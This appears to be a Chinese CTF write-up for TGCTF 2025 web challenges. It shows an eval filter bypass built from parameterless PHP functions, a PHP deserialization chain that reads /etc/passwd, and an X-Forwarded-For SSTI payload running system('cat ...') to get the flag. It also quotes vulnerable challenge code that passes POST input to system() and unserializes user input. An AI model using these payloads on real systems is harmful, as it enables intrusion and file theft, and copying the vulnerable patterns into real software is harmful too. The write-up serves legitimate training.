少女祈祷中...

web签到:

考察点:无参数构造

源码:

1
2
3
4
5
6
7
8
9
10
11
$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

分析:

正则表达式过滤了以下字符:

  • 数字0、1、3-9
  • 符号:~、`、@、#、$、%、^、&、*、(、)、-、=、+、{、[、]、}、:、’、”、,、<、.、>、/、?、\

允许的字符包括:

  • 数字2
  • 字母a-z(不区分大小写)
  • 下划线_
  • 英文括号()(未被过滤)
  • 分号;、空格、管道符|

1.查看当前目录:

1
?tgctf2025=print_r(scandir(current(localeconv())));
1
2
解释:
通过 current(localeconv()) 获取当前目录符号 .

得到:

1
Array ( [0] => . [1] => .. [2] => index.php ) 

2.使用无参数构造:

查看上级目录

1
?c=print_r(scandir(dirname(getcwd())));
  • **getcwd()**:这是一个 PHP 函数,其作用是获取当前工作目录的完整路径。例如,若当前工作目录是 /var/www/html,那么 getcwd() 就会返回该路径。
  • **dirname(getcwd())**:dirname() 函数用于返回指定路径的父目录。结合 getcwd() 后,它会返回当前工作目录的父目录。比如,若 getcwd() 返回 /var/www/html,则 dirname(getcwd()) 会返回 /var/www
  • **scandir(dirname(getcwd()))**:scandir() 函数用于列出指定目录中的文件和文件夹。这里它会列出当前工作目录的父目录下的所有文件和文件夹,并将结果以数组形式返回。
  • **print_r(scandir(dirname(getcwd())))**:print_r() 函数用于以易读的格式输出变量。这里它会把 scandir() 函数返回的数组输出,方便查看目录内容

查看当前目录的上上一级目录

1
?c=print_r(scandir(dirname(dirname(getcwd()))));

得到:

image-20250412112317815

  • **getcwd()**:获取当前工作目录的完整路径。
  • **dirname(getcwd())**:获取当前工作目录的父目录。
  • **dirname(dirname(getcwd()))**:再次使用 dirname() 函数,得到当前工作目录的父目录的父目录。
  • **scandir(dirname(dirname(getcwd())))**:列出当前工作目录的父目录的父目录下的所有文件和文件夹,结果以数组形式返回。
  • **print_r(scandir(dirname(dirname(getcwd()))))**:以易读的格式输出上述数组。

查看当前目录的上上上一级目录

1
?c=print_r(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))));

得到:

image-20250412112223904

  • **getcwd()**:获取当前工作目录的完整路径。
  • **dirname(getcwd())**:获取当前工作目录的父目录。
  • **dirname(dirname(getcwd()))**:获取当前工作目录的父目录的父目录。
  • **dirname(dirname(dirname(getcwd())))**:获取当前工作目录向上三级的目录。
  • **chdir(dirname(dirname(dirname(getcwd()))))**:chdir() 函数用于改变当前工作目录。这里将当前工作目录切换到向上三级的目录。

随机查询根目录

1
readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

火眼辩魑魅

进行扫描

发现:

image-20250412173326789

得到:

1
2
3
4
5
6
7
User-Agent: *
Disallow: tgupload.php upload题目
Disallow: tgshell.php 。。假
Disallow: tgxff.php s
Disallow: tgser.php 反序列化
Disallow: tgphp.php php代码执行
Disallow: tginclude.php 文件包含

经过初略审查:

发现应该是反序列化可以读取一点,无法RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class road {
public $SplFileObject;
}

class river {
public $fish = '0e215962017';
public $shark;
}

class sky {
public $bird;
public $eagle;
}

$road = new road();
$road->SplFileObject = '/etc/passwd'; // 目标文件路径

$river = new river();
$river->shark = $road;

$sky1 = new sky();
$sky1->eagle = $river;

$sky2 = new sky();
$sky2->bird = $sky1;

echo base64_encode(serialize($sky2));

image-20250412181133830

再次审查,发现xff可以

点开显示出我们的IP:

image-20250412184256011

又根据名字的提醒,测试一下XFF注入,发现SSTI可以做到:

image-20250412184653791

查询:

image-20250412184207107

1
X-Forwarded-For: {{system('cat /tgfffffllllaagggggg')}}

得到:

image-20250412184528007

1
X-Forwarded-For: {{system('cat /tgfffffllllaagggggg')}}
1
TGCTF{6627ad4f-1262-57f0-b22b-105d5cd9a0ab}

upload

反序列化

发现无论上传什么都是错误的

说不定有什么其他的考点呢?

扫描得到robots.txt

image-20250412231249154

1
2
3
4
5
6
7
8
9
User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.php

访问class.php得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>